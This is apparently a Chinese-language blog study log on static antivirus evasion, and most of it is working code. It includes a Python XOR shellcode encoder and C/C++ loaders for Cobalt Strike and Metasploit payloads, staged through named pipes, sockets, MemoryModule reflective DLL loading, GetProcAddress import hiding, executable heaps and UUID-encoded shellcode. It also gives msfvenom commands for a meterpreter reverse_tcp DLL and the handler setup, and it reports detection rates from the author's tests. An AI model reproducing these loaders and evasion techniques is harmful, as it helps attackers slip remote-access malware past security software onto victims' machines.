静态恶意代码逃逸学习记录
学习了倾旋师傅的静态恶意代码逃逸,算是静态免杀的开始,项目地址:https://github.com/Rvn0xsy/BadCode
简单的混淆
利用 CS 生成 raw 格式的 payload(原生的 shellcode),然后通过混淆、加密来绕过检测。
(直接用 raw 数组长度会爆,所以写了一个加密 c 语言 payload 的扩展。)
import sys from argparse import ArgumentParser, FileType def process_bin(num, src_fp, dst_fp, dst_raw): shellcode = '' shellcode_size = 0 shellcode_raw = b'' try: while True: code = src_fp.read(1) if not code: break base10 = ord(code) ^ num base10_str = chr(base10) shellcode_raw += base10_str.encode() code_hex = hex(base10) code_hex = code_hex.replace('0x', '') if (len(code_hex) == 1): code_hex = '0' + code_hex shellcode += '\\x' + code_hex shellcode_size += 1 src_fp.close() dst_raw.write(shellcode_raw) dst_raw.close() dst_fp.write(shellcode) dst_fp.close() return shellcode_size except Exception as e: sys.stderr.writelines(str(e)) def process_c(num, src_fp, dst_fp, dst_raw): shellcode = '' shellcode_size = 0 shellcode_raw = b'' try: while True: code = src_fp.read() if not code: break for i in range(0, len(code), 4): char1 = chr((code[i + 2])) char2 = chr((code[i + 3])) s = int('0x' + char1 + char2, 16) s = s ^ num shellcode_raw += bytes(hex(s).encode()) code_hex = hex(s) code_hex = code_hex.replace('0x', '') if (len(code_hex) == 1): code_hex = '0' + code_hex shellcode += '\\x' + code_hex shellcode_size += 1 print(shellcode) src_fp.close() dst_raw.write((shellcode_raw)) dst_raw.close() dst_fp.write(shellcode) dst_fp.close() return shellcode_size except Exception as e: sys.stderr.writelines(str(e)) def main(): parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs]') # python .\xor_shellcoder.py -s .\payload.bin -d payload.c -n 10 -r out.bin parser.add_argument('-v', '--version', nargs='?') parser.add_argument('-s', '--src', help=u'source bin file', type=FileType('rb'), required=True) parser.add_argument('-d', '--dst', help=u'destination shellcode file', type=FileType('w+'), required=True) parser.add_argument('-n', '--num', help=u'Confused number', type=int, default=90) parser.add_argument('-r', '--raw', help=u'output bin file', type=FileType('wb'), required=True) args = parser.parse_args() process_c(args.num, args.src, args.dst, args.raw) # shellcode_size = process_bin(args.num, args.src, args.dst, args.raw) # sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size)) if __name__ == "__main__": main()
生成 payload:
python .\xor_shellcoder.py -s .\payload_x86.c -d payload.c -n 10 -r out.bin
简单加载器
shellcode 的加载器做的事就是开辟一段内存,并把 shellcode 加载到内存中并执行。
属性设置 Debug + x86,Release 属性中关闭 SDL 检查,语言中符合模式设置为否。
#include <Windows.h> // 入口函数 int wmain(int argc,TCHAR * argv[]){ int shellcode_size = 0; // shellcode长度 DWORD dwThreadId; // 线程ID HANDLE hThread; // 线程句柄 /* length: 800 bytes */ unsigned char buf[] = "your_shellcode"; // 获取shellcode大小 shellcode_size = sizeof(buf); /* 增加异或代码 */ for(int i = 0;i<shellcode_size; i++){ buf[i] ^= 10; } /* VirtualAlloc( NULL, // 基址 800, // 大小 MEM_COMMIT, // 内存页状态 PAGE_EXECUTE_READWRITE // 可读可写可执行 ); */ char * shellcode = (char *)VirtualAlloc( NULL, shellcode_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); // 将shellcode复制到可执行的内存页中 CopyMemory(shellcode,buf,shellcode_size); hThread = CreateThread( NULL, // 安全描述符 NULL, // 栈的大小 (LPTHREAD_START_ROUTINE)shellcode, // 函数 NULL, // 参数 NULL, // 线程标志 &dwThreadId // 线程ID ); WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束 return 0; }
上线:
还是被杀很多
对加载器进行一些修改
- 在 shellcode 读入时,申请一个普通的可读写内存页,然后通过 VirtualProtect 加上可执行权限。
- 用 InterlockedXorRelease 函数代替 ^(异或)。
- 加个 Sleep(等待几秒,兴许可以跳过某些沙盒呢?)
#include <Windows.h> #include <stdio.h> // 入口函数 int wmain(int argc, TCHAR* argv[]) { int shellcode_size = 0; // shellcode 长度 DWORD dwThreadId; // 线程 Id HANDLE hThread; // 线程句柄 DWORD dwOldProtect; //内存页属性 char buf[] = "your_shellcode"; // 获取 shellcode 大小 shellcode_size = sizeof(buf); /* 增加异或代码 */ for (int i = 0; i < shellcode_size; i++) { Sleep(50); // buf[i] ^= 10; _InterlockedXor8(buf + i, 10); } /* VirtualAlloc( NULL, // 基址 800, // 大小 MEM_COMMIT, //内存页状态 PAGE_EXECUTE_READWRITE // 可读可写可执行 ); */ char* shellcode = (char*)VirtualAlloc( NULL, shellcode_size, MEM_COMMIT, PAGE_READWRITE // 只申请可写 ); //将 shellcode 复制到可执行的内存页中 CopyMemory(shellcode, buf, shellcode_size); // 更改它的属性为可执行 VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect); Sleep(2000); hThread = CreateThread( NULL, // 安全描述符 NULL, // 栈的大小 (LPTHREAD_START_ROUTINE)shellcode, // 函数 NULL, // 参数 NULL, // 线程标志 &dwThreadId // 线程ID ); WaitForSingleObject(hThread, INFINITE); //一直等待线程执行结束 return 0; }
分离免杀
管道:通过网络来完成进程间的通信,屏蔽了底层的网络协议细节,管道是一个公开的对象,所有进程都可以访问。
CS 就使用了进程内通信的方法,在进程内部闯进啊命名管道并在进程内部调用,能够规避掉一些 AV/EDR 的查杀操作。
主进程在进程内部创建了一个内部的命名管道,并将 shellcode 写入命名管道中(通过网络传输,做到 shellcode 不落地),然后创建一个命名管道的客户端,用于接收命名管道中的 shellcode,最后在该进程下创建一个子线程加载 shellcode,或者也可以将 shellcode 注入到其他进程中。
BadCode-Pipe.cpp
#include <Windows.h> #include <stdio.h> #include <intrin.h> #define BUFF_SIZE 1024 PTCHAR ptsPipeName = TEXT("\\\\.\\pipe\\BadCodeTest"); int wmain(int argc, TCHAR* argv[]) { HANDLE hPipe; DWORD dwError; CHAR szBuffer[BUFF_SIZE]; DWORD dwLen; PCHAR pszShellcode = NULL; DWORD dwOldProtect; // 内存页属性 HANDLE hThread; DWORD dwThreadId; // 参考:https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createnamedpipea hPipe = CreateNamedPipe( ptsPipeName, PIPE_ACCESS_INBOUND, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, BUFF_SIZE, BUFF_SIZE, 0, NULL); if (hPipe == INVALID_HANDLE_VALUE) { dwError = GetLastError(); printf("[-]Create Pipe Error : %d \n", dwError); return dwError; } if (ConnectNamedPipe(hPipe, NULL) > 0) { printf("[+]Client Connected...\n"); ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL); printf("[+]Get DATA Length : %d \n", dwLen); // 申请内存页 pszShellcode = (PCHAR)VirtualAlloc(NULL, dwLen, MEM_COMMIT, PAGE_READWRITE); // 拷贝内存 CopyMemory(pszShellcode, szBuffer, dwLen); for (DWORD i = 0; i < dwLen; i++) { Sleep(50); _InterlockedXor8(pszShellcode + i, 10); } // 这里开始更改它的属性为可执行 VirtualProtect(pszShellcode, dwLen, PAGE_EXECUTE, &dwOldProtect); // 执行Shellcode hThread = CreateThread( NULL, // 安全描述符 NULL, // 栈的大小 (LPTHREAD_START_ROUTINE)pszShellcode, // 函数 NULL, // 参数 NULL, // 线程标志 &dwThreadId // 线程ID ); WaitForSingleObject(hThread, INFINITE); } return 0; }
BadCode-PipeClient.cpp
#include <Windows.h> #include <stdio.h> #include <intrin.h> #define BUFF_SIZE 1024 char buf[] = "your_shellcode"; PTCHAR ptsPipeName = TEXT("\\\\.\\pipe\\BadCodeTest"); BOOL RecvShellcode(VOID) { HANDLE hPipeClient; DWORD dwWritten; DWORD dwShellcodeSize = sizeof(buf); // 等待管道可用 WaitNamedPipe(ptsPipeName, NMPWAIT_WAIT_FOREVER); // 连接管道 hPipeClient = CreateFile(ptsPipeName, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hPipeClient == INVALID_HANDLE_VALUE) { printf("[+]Can't Open Pipe , Error : %d \n", GetLastError()); return FALSE; } WriteFile(hPipeClient, buf, dwShellcodeSize, &dwWritten, NULL); if (dwWritten == dwShellcodeSize) { CloseHandle(hPipeClient); printf("[+]Send Success ! Shellcode : %d Bytes\n", dwShellcodeSize); return TRUE; } CloseHandle(hPipeClient); return FALSE; } int wmain(int argc, TCHAR* argv[]) { RecvShellcode(); return 0; }
查杀情况:
本地火绒没反应,cs 正常上线
BadCode.Pipe:
BadCode.PipeClient:(第一次 shellcode 没加密 29,加密后 15)
使用 SOCKET 的分离免杀
BadCode-Socket.cpp:
#include <WinSock2.h> #include <Windows.h> #include <stdio.h> #include <intrin.h> #pragma comment(lib, "ws2_32.lib") BOOL RunCode(CHAR* code, DWORD dwCodeLen) { HANDLE hThread; DWORD dwOldProtect; DWORD dwThreadId; PCHAR pszShellcode = (PCHAR)VirtualAlloc(NULL, dwCodeLen, MEM_COMMIT, PAGE_READWRITE); CopyMemory(pszShellcode, code, dwCodeLen); for (DWORD i = 0; i < dwCodeLen; i++) { _InterlockedXor8(pszShellcode + i, 10); } // 这里开始更改它的属性为可执行 VirtualProtect(pszShellcode, dwCodeLen, PAGE_EXECUTE, &dwOldProtect); // 执行 Shellcode hThread = CreateThread( NULL, // 安全描述符 NULL, // 栈的大小 (LPTHREAD_START_ROUTINE)pszShellcode, // 函数 NULL, //参数 NULL, // 线程标志 &dwThreadId // 线程 ID ); WaitForSingleObject(hThread, INFINITE); return TRUE; } int wmain(int argc, TCHAR argv[]) { CHAR buf[801]; DWORD dwError; WORD sockVersion = MAKEWORD(2, 2); WSADATA wsaData; SOCKET socks; SOCKET sClient; struct sockaddr_in s_client; INT nAddrLen = sizeof(s_client); SHORT sListenPort = 20888; struct sockaddr_in sin; if (WSAStartup(sockVersion, &wsaData) != 0) { dwError = GetLastError(); printf("[*]WSAStarup Error : %d \n", dwError); return dwError; } socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (socks == INVALID_SOCKET) { dwError = GetLastError(); printf("[*]Socket Error : %d \n", dwError); return dwError; } sin.sin_family = AF_INET; sin.sin_port = htons(sListenPort); sin.sin_addr.S_un.S_addr = INADDR_ANY; if (bind(socks, (struct sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR) { dwError = GetLastError(); printf("[*]Bind Error : %d \n", dwError); return dwError; } if (listen(socks, 5) == SOCKET_ERROR) { dwError = GetLastError(); printf("[*]Listen Error : %d \n", dwError); return dwError; } sClient = accept(socks, (SOCKADDR*)&s_client, &nAddrLen); int ret = recv(sClient, buf, sizeof(buf), 0); if (ret > 0) { printf("[+]Recv %d-Bytes \n", ret); closesocket(sClient); closesocket(socks); } WSACleanup(); RunCode(buf, sizeof(buf)); return 0; }
BadCode-SocketClient.cpp
#include <WinSock2.h> #include <Windows.h> #include <stdio.h> #include <intrin.h> #pragma comment(lib, "ws2_32.lib") char buf[] = "your_shellcode"; int wmain(int argc, TCHAR argv[]) { DWORD dwError; WORD sockVersion = MAKEWORD(2, 2); WSADATA wsaData; SOCKET socks; SHORT sListenPort = 20888; struct sockaddr_in sin; if (WSAStartup(sockVersion, &wsaData) != 0) { dwError = GetLastError(); printf("[*]WSAStarup Error : %d \n", dwError); return dwError; } socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (socks == INVALID_SOCKET) { dwError = GetLastError(); printf("[*]Socket Error : %d \n", dwError); return dwError; } sin.sin_family = AF_INET; sin.sin_port = htons(sListenPort); sin.sin_addr.S_un.S_addr = inet_addr("192.168.110.1"); if (connect(socks, (struct sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR) { dwError = GetLastError(); printf("[*]Bind Error : %d \n", dwError); return dwError; } int ret = send(socks, buf, sizeof(buf), 0); if (ret > 0) { printf("[+]Send %d-Bytes \n", ret); closesocket(socks); } WSACleanup(); return 0; }
查杀结果:
本地火绒没报
BadCode-Socket.exe:
BadCode-SocketClient.exe:
反射加载技术
MemoryModule,将 Windows PE 格式通过自己写的代码进行解析,并把不同字节数据加载到内存中,当一个 Windows PE 格式的文件变成一个内存中的字符串,意味着这个文件可以被任意方式去转换、加密、混淆,从而实现免杀效果。
MemoryModule 的使用方法:
1.将要加载的PE文件读入内存 2.初始化 MemoryModule 句柄 3.装载内存 4.获得导出地址函数 5.执行导出函数 6.释放 MemoryModule 句柄
这里可以与 MSF 进行联动,通过 Socket 将 MSF 生成的 DLL 给接收到内存中,然后载入 MemoryModule 中,直接执行。
生成 DLL:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.72.134 LPORT=30888 -f dll -o ~/Desktop/attach_file/y.dll
设置 MSF DLL 发射器?(反射器)
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.72.134 -P 30888 use windows/multi/handler set payload windows/patchupdllinject/reverse_tcp set DLL /home/moonflower/Desktop/attack_file/y.dll set LHOST 192.168.72.134 set LPORT 30887 run -j
连接 MSF 的客户端:
#include <WinSock2.h> #include <Windows.h> #include <stdio.h> #include "MemoryModule.h" #pragma comment(lib,"ws2_32.lib") #define PAYLOAD_SIZE 1024*512 typedef BOOL(*Module)(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved); typedef VOID(*msg)(VOID); PBYTE bFileBuffer = NULL; BOOL GetPEDLL() { DWORD dwError; WORD sockVersion = MAKEWORD(2, 2); WSADATA wsaData; SOCKET socks; SHORT sListenPort = 30888; struct sockaddr_in sin; if (WSAStartup(sockVersion, &wsaData) != 0) { dwError = GetLastError(); printf("[*]WSAStarup Error : %d \n", dwError); return FALSE; } socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (socks == INVALID_SOCKET) { dwError = GetLastError(); printf("[*]Socket Error : %d \n", dwError); return FALSE; } sin.sin_family = AF_INET; sin.sin_port = htons(sListenPort); sin.sin_addr.S_un.S_addr = inet_addr("192.168.72.134"); if (connect(socks, (struct sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR) { dwError = GetLastError(); printf("[*]Bind Error : %d \n", dwError); return FALSE; } int ret = 0; ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL); ret = recv(socks, (PCHAR)bFileBuffer, 2650, NULL); ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL); ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL); ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL); ZeroMemory(bFileBuffer, PAYLOAD_SIZE); ret = recv(socks, (PCHAR)bFileBuffer, 5120, NULL); if (ret > 0) { closesocket(socks); } return TRUE; } // 打开文件并获取大小 DWORD OpenBadCodeDLL(HANDLE& hBadCodeDll, LPCWSTR lpwszBadCodeFileName) { DWORD dwHighFileSize = 0; DWORD dwLowFileSize = 0; // 打开文件 hBadCodeDll = CreateFile(lpwszBadCodeFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hBadCodeDll == INVALID_HANDLE_VALUE) { return GetLastError(); } dwLowFileSize = GetFileSize(hBadCodeDll, &dwHighFileSize); return dwLowFileSize; } int main() { HMEMORYMODULE hModule; Module DllMain; bFileBuffer = new BYTE[PAYLOAD_SIZE]; GetPEDLL(); // 导入PE文件 hModule = MemoryLoadLibrary(bFileBuffer); // 如果加载失败,就退出 if (hModule == NULL) { delete[] bFileBuffer; return -1; } // 获取msg导出函数地址 DllMain = (Module)MemoryGetProcAddress(hModule, "DllMain"); // 运行msg函数 DllMain(0, 0, 0); // 释放资源 DWORD dwThread; HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)DllMain, NULL, NULL, &dwThread); WaitForSingleObject(hThread, INFINITE); MemoryFreeLibrary(hModule); // 释放PE内存 delete[] bFileBuffer; return GetLastError(); }
注意 recv 的参数是实际生成的 payload 大小
显然已经不是两年前的 0 查杀了导入地址表(IAT)免杀
Import Address Table 由于导入函数就是被程序调用但其执行代码又不在程序中的函数,这些函数的代码位于一个或者多个 DLL 中,当 PE 文件被装入内存的时候,WIndows 装载器才将 DLL 装入,并将调用导入函数的指令和函数实际所处的地址联系起来(动态连接),这操作就需要导入表完成,其中导入地址表就指示函数实际地址。
在 PE 结构中,存在一个导入表,声明了这个 PE 文件会载入哪些模块,同时每个模块的结构中又会指向模块中的一些函数名称。
在反病毒的角度,导入表也可以作为一个文件的风险值评估方向。
如果一个文件的文件大小在300KB以内,并且导入函数又有Virtual Alloc、CreateThread,且VirtualAlloc的最后一个参数是0x40(PAGE_EXECUTE_READWRITE),那么此文件是高危文件
在攻击人员的角度,如果能在 PE 文件中抹去导入函数名称,就可以规避杀软的检测。
比如可以不依赖导入表,而是手动获取函数地址,其中第一课用到的 API (VirtualAlloc -> VirtualProtect -> CreateThread -> WaitForSingleObject)都在 kernel32.dll 中导出,可以尝试定义他们的函数指针,然后利用 GetProcAddress 获取函数地址,调用自己的函数名称。
#include <Windows.h> #include <intrin.h> #include <WinBase.h> #include <stdio.h> typedef LPVOID(WINAPI* ImportVirtualAlloc) ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ); typedef HANDLE(WINAPI* ImportCreateThread) ( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ); typedef BOOL(WINAPI* ImportVirtualProtect) ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ); typedef DWORD(WINAPI* ImportWaitForSingleObject) ( HANDLE hHandle, DWORD dwMilliseconds ); // 入口函数 int wmain(int argc, TCHAR* argv[]) { ImportVirtualAlloc MyVirtualAlloc = (ImportVirtualAlloc)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAlloc"); ImportCreateThread MyCreateThread = (ImportCreateThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateThread"); ImportVirtualProtect MyVirtualProtect = (ImportVirtualProtect)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualProtect"); ImportWaitForSingleObject MyWaitForSingleObject = (ImportWaitForSingleObject)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WaitForSingleObject"); int shellcode_size = 0; // shellcode 长度 DWORD dwThreadId; // 线程 ID HANDLE hThread; // 线程句柄 DWORD dwOldProtect; // 内存页属性 char buf[] = "your_shellcode"; // 获取shellcode大小 shellcode_size = sizeof(buf); /* 增加异或代码 */ for (int i = 0; i < shellcode_size; i++) { //Sleep(50); _InterlockedXor8(buf + i, 10); } char* shellcode = (char*)MyVirtualAlloc( NULL, shellcode_size, MEM_COMMIT, PAGE_READWRITE // 只申请可读写 ); // 将shellcode复制到可读可写的内存页中 CopyMemory(shellcode, buf, shellcode_size); // 这里开始更改它的属性为可执行 MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect); // 等待几秒,兴许可以跳过某些沙盒呢? Sleep(2000); hThread = MyCreateThread( NULL, // 安全描述符 NULL, // 栈的大小 (LPTHREAD_START_ROUTINE)shellcode, // 函数 NULL, // 参数 NULL, // 线程标志 &dwThreadId // 线程ID ); MyWaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束 return 0; }
但是和前几种方式相比,但敏感函数/shellcode还是以硬编码的形式存在(.data 段)
利用重载运算符解决硬编码问题
在C++中,重载的运算符是带有特殊名称的函数,函数名是由关键字 operator 和其后要重载的运算符符号构成的。那么作为一个函数就必然会由返回类型和参数列表。
具体实现在 https://github.com/Rvn0xsy/Cooolis-ms 中,这里只有简单的例子,假设一个功能函数定义如下:
BOOL CCooolisMetasploit::SendPayload(std::string options, std::string payload)
其中的 std::string payload 如果是传入的恶意代码,可能会被定位,那么如果在这之前可以传一个调用函数并进行一次解密
metasploit->add_option(CooolisString("LXAsLS1wYXlsb2Fk"), msf_payload, CooolisString("UGF5bG9hZCBOYW1lLCBlLmcuIHdpbmRvd3MvbWV0ZXJwcmV0ZXIvcmV2ZXJzZV90Y3A="))->default_str(CooolisString("d2luZG93cy9tZXRlcnByZXRlci9yZXZlcnNlX3RjcA=="));
加一个解码函数,然后在构造函数中去调用解码就能让程序在静态扫描的过程中无法捕捉特征字符串。绕过 DEP 保护
DEP(Data Execution Prevention)即“ 数据执行保护”,在 Windows Xp SP2 的年代代码可以直接在堆栈中执行,但堆栈的用途主要是保存寄存器现场,提供一个函数运行时的存储空间,极少数需要代码在堆栈中执行,于是微软为了缓解类似的情况,发明了DEP保护机制,用于限制某些内存页不具有可执行权限。
在之前的绕过过程中,如果不是直接申请一段可执行权限的内存,而是先申请一段只有读写权限的内存,再用 VirtualProtect 来修改权限,可以一定程度上绕过杀软检测。
那么按照这个思路,我们可以通过其他方式(API)来构造一段可执行的内存页,然后把 shellcode 放进去执行。原作者找到的是 HeapCreate 这个 API,可以在进程中创建辅助堆栈,并且能够设置堆栈的属性:
HANDLE WINAPI HeapCreate( __in DWORD flOptions, // 用于修改如何再堆栈上运行执行的各种操作 __in SIZE_T dwInitialSize, __in SIZE_T dwMaximumSize );
HEAP_NO_SERIALIZE
:对堆的访问是非独占的,如果一个线程没有完成对堆的操作,其它线程也可以进程堆操作,这个开关是非常危险的,应尽量避免使用。HEAP_GENERATE_EXCEPTIONS
:当堆分配内存失败时,会抛出异常。如果不设置,则返回NULL。HEAP_CREATE_ENALBE_EXECUTE
:堆中存放的内容是可以执行的代码。如果不设置,意味着堆中存放的是不可执行的数据。(可以把 shellcode 存入到辅助堆栈中,然后创建一个线程运行它即可)
为了测试 HeapCreate,不添加 shellcode
#include <iostream> #include <Windows.h> int main() { char shellcode[] = "123"; HANDLE hHep = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0); PVOID Mptr = HeapAlloc(hHep, 0, sizeof(shellcode)); RtlCopyMemory(Mptr, shellcode, sizeof(shellcode)); DWORD dwThreadId = 0; HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Mptr, NULL, NULL, &dwThreadId); WaitForSingleObject(hThread, INFINITE); std::cout << "Hello World!\n"; }
emmmmmmm 但在现在的查杀率也挺高的了。UUID 免杀
UUID(universally unique identifier,通用唯一标识符)是一个 128 位的用于在计算机系统中以识别信息的数目。在 Windows 中用 GUID 来标识唯一对象。
也算是一种编码的方式,通过隐藏 shellcode 达成免杀。
typedef struct _GUID { unsigned long Data1; // 4字节 unsigned short Data2; // 2字节 unsigned short Data3; // 2字节 unsigned char Data4[8]; // 8字节 } GUID;
Windows 中于 UUID 中的 API
// 将字符串 UUID 转换为 UUID 结构: RPC_STATUS UuidFromString( RPC_CSTR StringUuid, UUID *Uuid ); // 创建 UUID RPC_STATUS UuidCreate( UUID *Uuid ); // 判断两个 UUID 是否相等 int UuidEqual( UUID *Uuid1, UUID *Uuid2, RPC_STATUS *Status );
用 msf 生成 Shellcode :
./msfvenom -p windows/exec CMD=calc.exe -b '\xfc\xe8' -f raw -o /tmp/shellcode.bin
Bin2UUID 转换脚本:
from uuid import UUID import os import sys # Usage: python3 binToUUIDs.py shellcode.bin [--print] print(""" ____ _ _______ _ _ _ _ _____ _____ | _ \(_) |__ __| | | | | | | |_ _| __ \ | |_) |_ _ __ | | ___ | | | | | | | | | | | | |___ | _ <| | '_ \| |/ _ \| | | | | | | | | | | | / __| | |_) | | | | | | (_) | |__| | |__| |_| |_| |__| \__ \ |____/|_|_| |_|_|\___/ \____/ \____/|_____|_____/|___/ \n""") with open(sys.argv[1], "rb") as f: bin = f.read() if len(sys.argv) > 2 and sys.argv[2] == "--print": outputMapping = True else: outputMapping = False offset = 0 print("Length of shellcode: {} bytes\n".format(len(bin))) out = "" while(offset < len(bin)): countOfBytesToConvert = len(bin[offset:]) if countOfBytesToConvert < 16: ZerosToAdd = 16 - countOfBytesToConvert byteString = bin[offset:] + (b'\x00'* ZerosToAdd) uuid = UUID(bytes_le=byteString) else: byteString = bin[offset:offset+16]s uuid = UUID(bytes_le=byteString) offset+=16 out += "\"{}\",\n".format(uuid) if outputMapping: print("{} -> {}".format(byteString, uuid)) with open(sys.argv[1] + "UUIDs", "w") as f: f.write(out) print("Outputted to: {}".format(sys.argv[1] + "UUIDs"))
把 shellcode 转化为 UUID
python .\Bin2UUID.py .\shellcode.bin
执行代码:
#include <Windows.h> #include <rpc.h> #pragma comment(lib, "Rpcrt4.lib") const char * buf[] = { "395465bb-d96d-d9c6-7424-f45833c9b131", "03135831-1358-c083-61b6-cc9181b42f6a", "8fa6d951-d960-c4dd-d2e9-9689de82fb39", "4ed3e655-4dde-6002-dffe-76e363fdaac3", "02bece5a-339b-5632-743f-e147f1753ae3", "103a9b49-9a19-876b-12c5-ab29f77de231", "cabcbb14-37ee-1b3f-3fb7-ec62f04aeca3", "dd9bb536-4845-199c-3496-29ba9e5d8966", "ec4cb11f-7e13-aa1a-3781-cfc0430aee06", "82d548c2-0b8f-9274-75fd-89c4d6a22f8e", "cd5db7fa-4690-6bd3-d649-eb734622daf8", "2ae33509-c96e-77a9-c642-74e25b0f87d8", "e904369f-cd5f-9814-5a89-927016827677", "1452a385-3048-f53e-efb0-a50900000000", }; int main(int argc, char* argv[]) { int dwNum = sizeof(buf) / sizeof(buf[0]); HANDLE hMemory = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0); if (hMemory == NULL) { return -1; } PVOID pMemory = HeapAlloc(hMemory, 0, 1024); DWORD_PTR CodePtr = (DWORD_PTR)pMemory; for (size_t i = 0; i < dwNum; i++) { if (CodePtr == NULL) { break; } RPC_STATUS status = UuidFromStringA(RPC_CSTR(buf[i]), (UUID*)CodePtr); if (status != RPC_S_OK) { return -1; } CodePtr += 16; } if (pMemory == NULL) { return -1; } if (EnumSystemLanguageGroupsA((LANGUAGEGROUP_ENUMPROCA)pMemory, LGRPID_INSTALLED, NULL) == FALSE) { // 加载成功 return 0; } return 0; }
参考文献: